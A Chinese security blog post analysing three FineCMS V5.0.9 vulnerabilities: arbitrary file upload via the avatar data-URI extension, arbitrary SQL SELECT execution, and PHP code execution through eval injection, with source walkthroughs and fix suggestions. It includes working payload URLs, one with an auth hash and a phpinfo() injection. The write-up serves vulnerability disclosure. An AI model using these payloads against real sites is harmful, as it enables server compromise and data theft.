Finecms V5.0.9任意文件上传&任意代码执行&任意SQL语句执行


0X01 任意文件上传

​ 漏洞存在于会员的修改上传头像页面(xxxxx/index.php?s=member&c=account&m=avatar)

漏洞实现

对上传的头像进行burp抓包。

mark

​ 这里将tx参数内容里的jpeg改为php,上传文件,实际上成功上传了个php文件。

​ 路径可以通过审查元素找到头像图片的路径和格式。

mark

​ 文件成功上传,且上传的一句话可正常执行命令。

mark

漏洞分析

问题出在finecms/dayrui/controllers/member/Account.php的第177行开始的upload函数。

   public function upload() {

        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {

                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }

// 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }


        exit('1');
    }

}

$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';上传文件的路径,在member后拼接了$uid使每一个用户上传文件独立一个文件夹,uid在cookie中,上文burp抓到的包中可以看到。

​ 这里对传进来的tx参数有个正则匹配来获取文件扩展名和文件内容。

​ 问题就出在第186行这个正则上:/^(data:\s*image\/(\w+);base64,)/

​ 它会匹配data:开头,中间带有image/,base64,结尾的一段字符串。关键在(\w+)这个正则,它会匹配image/后base64前的内容,作为newfile的文件后缀名。$new_file = $dir.'0x0.'.$result[2];,这里没有进行任何过滤导致了可以上传任何类型的文件。

mark

mark

修复建议

对匹配到的文件扩展名进行过滤。只允许特定图片类型。

0X02 任意SQL语句执行

漏洞实现

​ payload:

/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql sql='select user();'

​ auth的值为此cookiename部分值的md5值。

mark

mark

漏洞分析

/finecms/dayrui/config/config.php中的第37行对cookie_name进行了定义。

$config['sess_cookie_name']                = $site['SYS_KEY'].'_ci_session';

​ 这里$site[‘SYS_KEY’]不就把SYS_KEY的值给暴露了。

​ 这个SYS_KEY是安全码,有了它就能进行接下来的敏感函数的调用。

/finecms/dayrui/controllers/Api.php中的115-166行的data2()函数。

public function data2() {

        $data = array();

        // 安全码认证
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 授权认证码不正确
            $data = array('msg' => '授权认证码不正确', 'code' => 0);
        } else {
            // 解析数据
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }
        }

        // 接收参数
        $format = $this->input->get('format');
        $function = $this->input->get('function');
        if ($function) {
            if (!function_exists($function)) {
                $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
            } else {
                $data = $function($data);
            }
        }

        // 页面输出
        if ($format == 'php') {
            print_r($data);
        } elseif ($format == 'jsonp') {
            // 自定义返回名称
            echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
        } else {
            // 自定义返回名称
            echo $this->callback_json($data);
        }
        exit;
    }

​ 可以看到开始有个安全码的验证,有了之前得到的安全码,就可以利用这个函数了.

if ($auth != md5(SYS_KEY)) {将auth值与SYS_KEY的md5值进行比对,同则继续,异则失败。

​ 127行获得输入param参数值。

$param = $this->input->get('param');

​ 不满足128行的if条件,得以继续执行。

 if (isset($param['cache']) && $param['cache']) {

​ 135行造成了漏洞。

$data = $this->template->list_tag($param);

​ 定位list_tag()函数看看。

/finecms/dayrui/libraries/Template.php第402-1314是list_tag函数。

/finecms/dayrui/libraries/Template.php第434行$params = explode(' ', $_params);将传入的param以数组赋值给$params。

Array(){
  [0] => action=sql,
  [1] => sql='select user();'
}

​ 第436行开始遍历$params并赋值$system['action']=sql&$param['aql']=‘select user();’.

437    $var = substr($t, 0, strpos($t, '='));
438    $val = substr($t, strpos($t, '=') + 1);

446    if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
447    $system[$var] = $val;
448    }

467    $param[$var] = $val;

​ 通过switch case匹配执行查询代码。

      switch ($system['action']) {
            ·····················
              ·················
                  ·········
        case 'sql': // 直接sql查询

                if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {


                    // 数据源的选择
                    $db = $this->ci->db;

                    // 替换前缀
                    $sql = str_replace(
                        array('@#S', '@#'),
                        array($db->dbprefix.$system['site'], $db->dbprefix),
                        trim(urldecode($sql[1]))
                    );
                    if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
                    }

                    $total = 0;
                    $pages = '';

                    // 如存在分页条件才进行分页查询
                    if ($system['page'] && $system['urlrule']) {
                        $page = max(1, (int)$_GET['page']);
                        $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
                        $total = (int)$row['c'];
                        $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
                        // 没有数据时返回空
                        if (!$total) {
                            return $this->_return($system['return'], '没有查询到内容', $sql, 0);
                        }
                        $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
                        $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
                    }

                    $data = $this->_query($sql, $system['site'], $system['cache']);
                    $fields = NULL;

                    if ($system['module']) {
                        $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
                    }

                    if ($fields) {
                        // 缓存查询结果
                        $name = 'list-action-sql-'.md5($sql);
                        $cache = $this->ci->get_cache_data($name);
                        if (!$cache && is_array($data)) {
                            // 模型表的系统字段
                            $fields['inputtime'] = array('fieldtype' => 'Date');
                            $fields['updatetime'] = array('fieldtype' => 'Date');
                            // 格式化显示自定义字段内容
                            foreach ($data as $i => $t) {
                                $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                            }
                            //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                            $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
                        }
                        $data = $cache;
                    }
                    return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
                } else {
                    return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
                }
                break;

            case 'table': // 表名查询

                if (!$system['table']) {
                    return $this->_return($system['return'], 'table参数不存在');
                }

                // 默认站点参数
                $system['site'] = !$system['site'] ? SITE_ID : $system['site'];

                $tableinfo = $this->ci->get_cache('table');
                if (!$tableinfo) {
                    $this->ci->load->model('system_model');
                    $tableinfo = $this->ci->system_model->cache(); // 表结构缓存
                }
                if (!$tableinfo) {
                    return $this->_return($system['return'], '表结构缓存不存在(后台菜单-更新表结构)'); // 没有表结构缓存时返回空
                }

                $table = $this->ci->db->dbprefix($system['table']); // 主表
                if (!isset($tableinfo[$table]['field'])) {
                    return $this->_return($system['return'], '表('.$table.')结构缓存不存在(后台菜单-更新表结构)');
                }

                $where = $this->_set_where_field_prefix($where, $tableinfo[$table]['field'], $table); // 给条件字段加上表前缀
                $system['field'] = $this->_set_select_field_prefix($system['field'], $tableinfo[$table]['field'], $table); // 给显示字段加上表前缀
                $system['order'] = $this->_set_order_field_prefix($system['order'], $tableinfo[$table]['field'], $table); // 给排序字段加上表前缀

                $total = 0;
                $sql_from = $table; // sql的from子句

if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql))

​ 正则只是将sql=参数中的内容匹配出来作为sql查询内容,没有对查询进行限制。

​ 传入766行的_query函数进行查询。

$data = $this->_query($sql, $system['site'], $system['cache']);

​ _query函数位于/finecms/dayrui/libraries/Template.php第1318行。

public function _query($sql, $site, $cache, $all = TRUE) {

        // 数据库对象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 缓存存在时读取缓存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }

        // 执行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);

        if (!$query) {
            return 'SQL查询解析不正确:'.$sql;
        }

        // 查询结果
        $data = $all ? $query->result_array() : $query->row_array();

        // 开启缓存时,重新存储缓存数据
        $cache && $this->ci->set_cache_data($cname, $data, $cache);

        $db->db_debug = TRUE;

        return $data;
    }

$query = $db->query($sql);执行sql语句。

​ 就可以执行任意sql语句了(select)。

0X03 任意代码执行

###漏洞实现

​ payload:

/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache%20name=MEMBER.1'];phpinfo();$a=['1

mark

auth的值为此cookiename部分值的md5值。

mark

24b16fede9a67c9251d3e7c7161c83ac md5=> 50ce0d2401ce4802751739552c8e4467

漏洞分析

​ 和上面的sql语句执行类似,先通过cookie获取到SYS_KEY,执行list_tag函数。

​ 跟进到list_tag函数。第487-518行代码:

switch ($system['action']) {

            case 'cache': // 系统缓存数据

                if (!isset($param['name'])) {
                    return $this->_return($system['return'], 'name参数不存在');
                }

                $pos = strpos($param['name'], '.');
                if ($pos !== FALSE) {
                    $_name = substr($param['name'], 0, $pos);
                    $_param = substr($param['name'], $pos + 1);
                } else {
                    $_name = $param['name'];
                    $_param = NULL;
                }

                $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                if (!$cache) {
                    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
                }

                if ($_param) {
                    $data = array();
                    @eval('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                    }
                } else {
                    $data = $cache;
                }

                return $this->_return($system['return'], $data, '');
                break;

​ 匹配到cache,执行对应代码。这里会根据.将name参数的内容进行分割,前部分赋给$_name,后部分赋给$_param.此时$_param=1'];phpinfo();$a=['1.

​ 继续执行$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);

​ 因为下面会对$cache是否为空进行判断:

if (!$cache) {
                    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");

​ 所以跳转到_cache_var函数判断返回值。(Template.php/1593-1620行)

 public function _cache_var($name, $site = SITE_ID) {

        $data = NULL;
        $name = strtoupper($name);

        switch ($name) {
            case 'MEMBER':
                $data = $this->ci->get_cache('member');
                break;
            case 'URLRULE':
                $data = $this->ci->get_cache('urlrule');
                break;
            case 'MODULE':
                $data = $this->ci->get_cache('module');
                break;
            case 'CATEGORY':
                $site = $site ? $site : SITE_ID;
                $data = $this->ci->get_cache('category-'.$site);
                break;
            default:
                $data = $this->ci->get_cache($name.'-'.$site);
                break;
        }

        return $data;
    }

}

​ 只要让list_tag函数中赋给$_name的值可以在_cache_var函数中匹配到就可以。

​ 继续执行接下来的内容:

if ($_param) {
                    $data = array();
                    @eval('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                    }
                } else {
                    $data = $cache;
                }

$_param参数会传入_get_var函数进行加工。

​ _get_var函数内容。(Template.php/1569-1590行)

    public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }

        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

​ return的$string['1'];phpinfo();$a=['1']

​ 然后将返回值拼接进eval语句进行执行,看一下拼接后的语句:@eval($data=$cache['1'];phpinfo();$a=['1'];);.顺利执行语句。

​ 实现命令执行。

漏洞修复

更改cookiename的设置

$config['sess_cookie_name']    = md5(substr($site['SYS_KEY'],0, 5)).'_ci_session';

文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录